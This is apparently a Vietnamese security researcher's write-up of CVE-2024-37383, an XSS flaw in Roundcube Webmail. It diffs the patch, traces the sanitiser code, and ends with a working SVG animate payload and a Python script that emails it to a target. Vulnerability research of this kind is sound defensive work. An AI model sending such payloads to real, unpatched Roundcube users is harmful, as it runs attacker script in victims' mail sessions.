Roudncube XSS qua thuộc tính SVG
0. Bla bla
- Dạo gần đây mình muốn tìm hiểu thêm các kiến thức về lỗ hổng phía client-side, bypass WAF và filter. Vô tình thấy Roundcube phát hành bản vá mới cho một lỗi XSS, tìm hiểu thêm thì thấy source code của Roundcube tương đối nhỏ gọn và được sử dụng rất rộng rãi nên mình đã dành thời gian để nghiên cứu thêm về các bug của Roundcube :vv
- Sau đây là phân tích về CVE-2024-37383 của mình
I. Tổng quan CVE-2024-37383
-
Roundcube Webmail trước 1.5.7 và 1.6.x trước 1.6.7 cho phép XSS thông qua các thuộc tính SVG animate.
-
Thông tin CVE:
-
Ngày cống bố: 06/07/2024
-
Điểm CVSS: Chưa xác định
-
-
Cách tiếp cận của mình khi phân tích lỗ hổng là diff bản vá, với Roundcube là opensource nên mình sẽ đọc commit trên github luôn :v
II. Phân tích
-
Đường dẫn commit vá lỗ hổng của Roundcube: Fix cross-site scripting (XSS) vulnerability in handling SVG animate … · roundcube/roundcubemail@43aaaa5 · GitHub
-
Chỉ có file
program/lib/Roundcube/rcube_washtml.php
bị thay đổi:
1. Đánh giá thông tin từ commit và mô tả về lỗ hổng
-
Thông tin sơ bộ từ commint bản vá lỗ hổng cho thấy:
- Chỉ có duy nhất dòng 544 trong
program/lib/Roundcube/rcube_washtml.php
bị thay đổi => Rất thuận lợi vì chỉ cần tập trung đưa untrusted data đến chỗ này - Bản vá chỉ đơn giản là thêm hàm
trim()
để xử lý biến$attr->nodeValue
=> Rất có thể payload sẽ liên quan đến các ký tự được hàmtrim()
xử lý như: white space, NULL, tab, new line,...
- Chỉ có duy nhất dòng 544 trong
-
Từ mô tả của NVD - CVE-2024-37383 (nist.gov) => Lỗ hổng XSS liên quan đến thuộc tính SVG animate
2. Phân tích chức năng của các file liên quan và vị trí Untrusted data
-
Chức năng của
program/lib/Roundcube/rcube_washtml.php
: rcube_washtml.php đảm bảo rằng nội dung HTML được hiển thị bởi Roundcube là an toàn, bằng cách xử lý nội dung HTML để loại bỏ hoặc vô hiệu hóa các thành phần, thuộc tính và giá trị có hại có thể dẫn đến các lỗ hổng bảo mật XSS và các lỗ hổng khác. -
Từ đây có thể suy ra được Untrusted data chính là toàn bộ nội dung email. Roundcube cho phép gửi và xử lý email có nội dung HTML để hiển thị cho người dùng
-
Trong commit của bản vá thì chỉ có duy nhất dòng code thứ 544 được sửa lại, nó thuộc hàm
private static function attribute_value($node, $attr_name, $attr_value)
.
-
Hàm
attribute_value
được sử dụng để kiểm tra xem$node
có thuộc tính$attr_name
chứa giá trị$attr_value
hay không. Nó trả vềtrue
nếu thuộc tính được chỉ định tồn tại trên element và có giá trị mong đợi.$node
: Với nội dung email là HTML, thì$node
là một element trong DOM Tree đó
-
Hàm
attribute_value
chỉ được gọi duy nhất một lần, tại hàmprivate function dumpHtml($node, $level = 20)
dòng số 603:
-
Chặn một số thẻ liên quan đến
SVG
có thể không an toàn do các thuộc tính nhưhref
. -
Nhiệm vụ của hàm
dumpHtml
: HàmdumpHtml
là một phương pháp đệ quy được thiết kế để lọc và xử lý nội dung HTML bằng cách lặp qua DOM node tree. Mục đích chính của nó là chỉ xuất ra các thẻ HTML được phép với các thuộc tính và inline styles được phép. -
Do chúng ta cần tới được dòng 603, vì vậy phải đi được vào
case XML_ELEMENT_NODE:
=> Mail body phải có dạng XML. Ví dụ:<profile> John Doe <email>john.doe@example.com</email> <phone>123-456-7890</phone> </profile>
-
Nếu ở dòng 603, cả 2 điều kiện
in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
&&self::attribute_value($node, 'attributename', 'href')
đều làtrue
thì sẽ được xác định là Insecure svg tags =>break
2. Phân tích codeflow của lỗ hổng
-
Đặt breackpoint ở đầu hàm
dumpHtml
(dòng 564) và thử với payload có thẻsvg
xem có hit được brackpoint không<svg> TEST 1 </svg>
-
Với payload như trên thì breakpoint ở dòng 564 của hàm dempHtml đã được hit và ta có call stack như sau:
-
webmail/index.php: đóng vai trò là điểm đầu vào để xử lý các request của người dùng, khởi tạo ứng dụng, quản lý session và định tuyến các action dựa trên input. Với
/webmail/?_task=mail&_extwin=1&_uid=10&_mbox=INBOX&_action=show
nên sẽ code trongshow.php
sẽ được gọi tương ứng với_action=show
-
webmail/program/include/rcmail.php: lớp rcmail đóng vai trò là cốt lõi của ứng dụng Roundcube, điều phối quá trình khởi tạo, xử lý task/action, quản lý người dùng và hệ thống plugin
-
Hàm
public function action_handler()
: xử lý các request đã được xác thực của người dùng, hướng chúng đến các handler thích hợp dựa trên task và action. -
Dòng 245-248 sẽ khởi tạo đối tượng của lớp
rcmail_action_mail_index
, đối tượng này đóng vai trò như là controller để hiển mail inbox, xử lý danh sách mail và quản lý tương tác của người dùng với mail của họ. Nó hỗ trợ các hoạt động như refresh, preview, print, expunge (xóa thư đã xóa khỏi thư mục), purge(xóa tất cả thư khỏi thư mục), quản lý file đính kèm (upload, delete, rename, display),...
-
- Từ dòng 276, với action là
show
thì sẽ khởi tạo đối tượng của classrcmail_action_mail_show
và gọi đến hàmrun()
-
webmail/program/actions/mail/show.php: với các tham số trong URL là
_task=mail&_action=show
tương ứng với foldermail
và fileshow.php
thì ta có thể suy ra được các file .php xử được xử lý tương ứng với các parameter trong URL như sau:webmail/program/actions/{_task}/{_action}.php
- Nhiệm vụ chính của show.php là hiển thị nội dung email bao gồm việc xử lý đọc khả năng của trình duyệt (
_cap
param), tìm nạp và xử lý email dựa trên_uid
, xử lý các định dạng email (HTML hoặc plain text), quản lý tệp đính kèm và đặt các biến môi trường khác nhau. - Hàm run(): chịu trách nhiệm xử lý và hiển thị nội dung email, xử lý preferences của người dùng đối với định dạng mail
- Tại dòng 164, sau khi đã khởi tạo xong các config, env, handler thì ứng dụng bắt đầu quá trình gửi output về cho người dùng
- Nhiệm vụ chính của show.php là hiển thị nội dung email bao gồm việc xử lý đọc khả năng của trình duyệt (
-
Hàm
message_body
trong webmail/program/actions/mail/show.php: xử lý để hiển thị nội dung email trong giao diện webmail. Dòng 738 sẽ gọi hàmprint_body
với tham số$body
là nội dung email
-
Hàm
message_body
này chuyển đổi nội dung XML trong email thành HTML được định dạng chính xác để hiển thị trong chế độ xem email. Ví dụ với nội dung trong email là<profile> John Doe <email>john.doe@example.com</email> <phone>123-456-7890</phone> </profile>
Thì sẽ đươc hiển thị ra giao diện như sau:
- Hàm
print_body
sẽ gọi đến hàmwash_html
, như tên gọi thì hàm này có thể làm sẽ làm sạch nội dung HTML trước khi hiển thị cho người dùng
-
Tại dòng 981 thì hàm
wash_html
gọi đến hàmwash($html)
nhưng tham số truyền vào hàm đã khác so với nội dung mail ban đầu của chúng ta, nội dung ban đầu là:<svg> TEST 1 </svg>
Tham số
$html
là:
- Dòng 717 tại hàm
wash($html)
sẽ gọi đến hàmdumpHtml($node)
=> nơi chúng ta cần đến
=> Từ đây có thể hiểu là nếu nội dung trong mail có định dạng các thẻ như dạng XML thì Roundcube sẽ hiển thị ra giao diện dưới dạng là HTML theo như luồng code trên và cuối cùng sẽ gọi đến hàm dumpHtml
để lấy ra các element trong DOM
3. Phân tích hàm wash($html) và dumpHtml($node, $level = 20)
3.1. Hàm wash($html)
-
Với nội dung email là:
<svg> TEST 1 </svg>
thì tham số
$html
được truyền vào trong hàmwash
sẽ là<html><head><meta charset="UTF-8" /></head> <svg> TEST 1 </svg>
=> Thêm các thẻ html, head và meta
-
Cần chú ý hàm
$this->cleanup($html)
được gọi, nhưng với payload hiện tại thì$html
không bị thay đổi gì. Tại dòng 702 đã phân tích chuỗi HTML thành DOM tree và sau đó truyền DOM này vào hàmdumpHtml($node)
3.2. Hàm dumpHtml($node, $level = 20)
-
Hàm dumpHtml được thiết kế để lọc và xử lý nội dung HTML bằng cách duyệt đệ quy DOM tree. Nó xuất ra có chọn lọc nội dung HTML bằng cách chỉ cho phép các tags, attributes và inline styles cụ thể.
-
Theo như commit thì bản vá của lỗi này cho sửa duy nhất 1 dòng code trong hàm
attribute_value
, tại dòng 603 trong hàmdumpHtml
có gọi đếnattribute_value
-> đặt breakpoint ở hàm này
-
Nhưng để đến được hàm
attribute_value
thì điều kiệnin_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
phải là True => trong nội dung mail phải có 1 trong 4 thẻ đó -
Với lệnh gọi hàm
self::attribute_value($node, 'attributename', 'href')
thì 2 đối số'attributename'
và'href'
đã được gán cố định, chỉ có$node
là untrusted data. Mục đích của hàm này là để kiểm tra xem một phần tử DOM nhất định ($node) có thuộc tính ($attr_name) với một giá trị cụ thể ($attr_value) hay không. Từ đó có thể hiểu được lệnh gọi hàmself::attribute_value($node, 'attributename', 'href')
là kiểm tra xem trong $node có thuộc tính'attributename'
không? và giá trị của thuộc tính'attributename'
có là'href'
không? nếu thỏa mãn cả 2 điều kiện, thì sẽ returntrue
. -
Vì vậy thử payload sau để hit breakpoint trong hàm
attribute_value
<animate attributeName="href" values="xxxxxxxx"/>
-
Kết quả hiện thị trong giao diện là:
- Vì lúc này 2 điều kiện
in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
&&self::attribute_value($node, 'attributename', 'href')
đều thỏa mãn.
=> Vậy có thể đoán được là cần phải làm cho 1 trong 2 điều kiện kia là false
để không bị break ở dòng 607
- Để ý thấy bản vá chỉ thêm duy nhất hàm
trim()
kết hợp với description của CVE-2024-37383
=> Payload có thể là sử dụng thuộc tính của thẻ SVG animate để kích hoạt XSS và trong payload sẽ có ký tự mà bị hàm trim()
xử lý (đơn giản nhất là kỹ tự khoảng trắng)
- Nếu chỉ cần không bị break ở dòng 607, thì mình có thể copy mấy payload SVG XSS để nó thỏa mã, ví dụ là
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
-
Với payload này thì ngay điều kiện
in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']
đã không thỏa mãn nên sẽ không bị xác đinh là Insecure svg tags => Ngonnnn :v -
Nhưng hàm
dumpHtml()
nó filter XSS rất mạnh, đặc biệt là gọi hàmwash_attribs
để loại bỏ tất cả các thuộc tính không an toàn, nên vì vậy với payload trên thì kết quả trả nhận được chỉ là<svg></svg>
4. Xây dụng payload
-
Tham khảo lỗi XSS với thuộc tính
attributeName
: Reflected XSS with event handlers and href attributes blocked - HackMD -
Tham khảo cách khai thác XSS với thuộc tính href: https://hackmd.io/@to016/S1MLtcVho#Lab-Reflected-XSS-with-event-handlers-and-href-attributes-blocked
-
Vì đã biết được chính xác bản vá sửa dòng code nào, mà đặc biệt lại chỉ sửa duy nhất 1 dòng, nên đầu tiên mình cứ tạo payload sao cho hit được breakpoint tại đúng dòng code được sửa đó rồi xử lý tiếp :v
-
Có một điểm có thể dễ nhận thấy là dòng 603 trong hàm
dumpHtml()
thực hiện kiểm tra thuộc tínhhref
mà dòng 634 lại tiếp tục gọi hàmwash_attribs
. Vì vậy rất có thể hàmwash_attribs
sẽ không xử lý thuộc tínhhref
nữa
-
Thử luôn payload
<svg><a><animate attributeName="href" values="javascript:alert(1)"/><text x="100" y="100">Click Me</text></a></svg>
nhưng hãy thayattributeName="href"
thànhattributeName=" href "
(thêm mấy khoảng trắng trước và sau href). Tham khảo từ Reflected XSS with event handlers and href attributes blocked - HackMD<svg><a><animate attributeName=" href " values="javascript:alert(1)"/><text x="100" y="100">CLICK MEEE</text></a></svg>
=> Xong :vv
- Mình cần phân tích thêm tại sao khoảng trắng trước và sau
href
lại được loại bỏ để dẫn tới XSS được
- Tại hàm
attribute_value
vớistrtolower($attr->nodeValue)
bằng" href "
nên hàm này sẽ trả về giá trịfalse
nên ở dòng 603 sẽ không bị Insecure svg tags
- Tiếp tục đi vào hàm
wash_attribs
- Trong hàm
wash_attribs
tại dòng 327 đã gọi hàmtrim()
để loại bỏ ký tự khoảng trắng, vì vậy payload XSS được kích hoạt
III. Tổng kết
-
POC script python:
import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # Email configuration sender_email = "admin@newbie2k4.lab" receiver_email = "rc166@newbie2k4.lab" password = "newbie2k4pw" # Create a multipart message message = MIMEMultipart() message["From"] = sender_email message["To"] = receiver_email message["Subject"] = "POC-Newbie2k4.CVE-2024-37383" html_body = """ <svg><animate attributeName=" href " values="javascript:alert('Newbie2k4')"/><text x="100" y="100">CLICK MEEE</text></svg> """ message.attach(MIMEText(html_body, "html")) # Send the email try: server = smtplib.SMTP("localhost", 587) server.starttls() server.login(sender_email, password) text = message.as_string() server.sendmail(sender_email, receiver_email, text) print("[+] Email sent successfully!!") except Exception as e: print("[-] Sending email failed, an error occurred@@", str(e)) finally: server.quit()
-
Lỗ hổng chỉ cần 1 click từ người dùng để thực mã javascript trên máy tính nạn nhân
-
Lỗi trên xảy ra do chưa nhất quán được thời điểm dữ liệu được xử lý và thời điểm dữ liệu được sử dụng, khi mà thời điểm kiểm tra dữ liệu ở hàm
attribute_value
nhưng không được sử dụng ngay lập tức mà phải qua tiếp một bước xử lý ở hàmwash_attribs
thì mới được trả lại cho người dùng, từ đó tạo ra khe hở. -
Roundcube webmail là chương trình gửi, nhận mail phổ biến và dễ dàng sử dụng nhất hiện nay. Roundcube có giao diện đơn giản, dễ sử dụng, thân thiện với người dùng, dễ dàng cài đặt và có tính bảo mật rất cao, vì vậy nó được triển khai trong rất nhiều tổ chức.
IV. Tài liệu tham khảo
-
Install Roundcube: How to Install Postfix, Dovecot, and Roundcube on Ubuntu 20.04 | Vultr Docs
-
Setup Debug: https://viblo.asia/p/toi-da-debug-code-php-nhu-nao-RnB5pWA7lPG
-
https://hackmd.io/@to016/S1MLtcVho#Lab-Reflected-XSS-with-event-handlers-and-href-attributes-blocked
-
Reflected XSS with event handlers and href attributes blocked - HackMD
-
https://cardaci.xyz/advisories/2020/07/21/roundcube-1.3.9-stored-xss-in-received-emails/
All rights reserved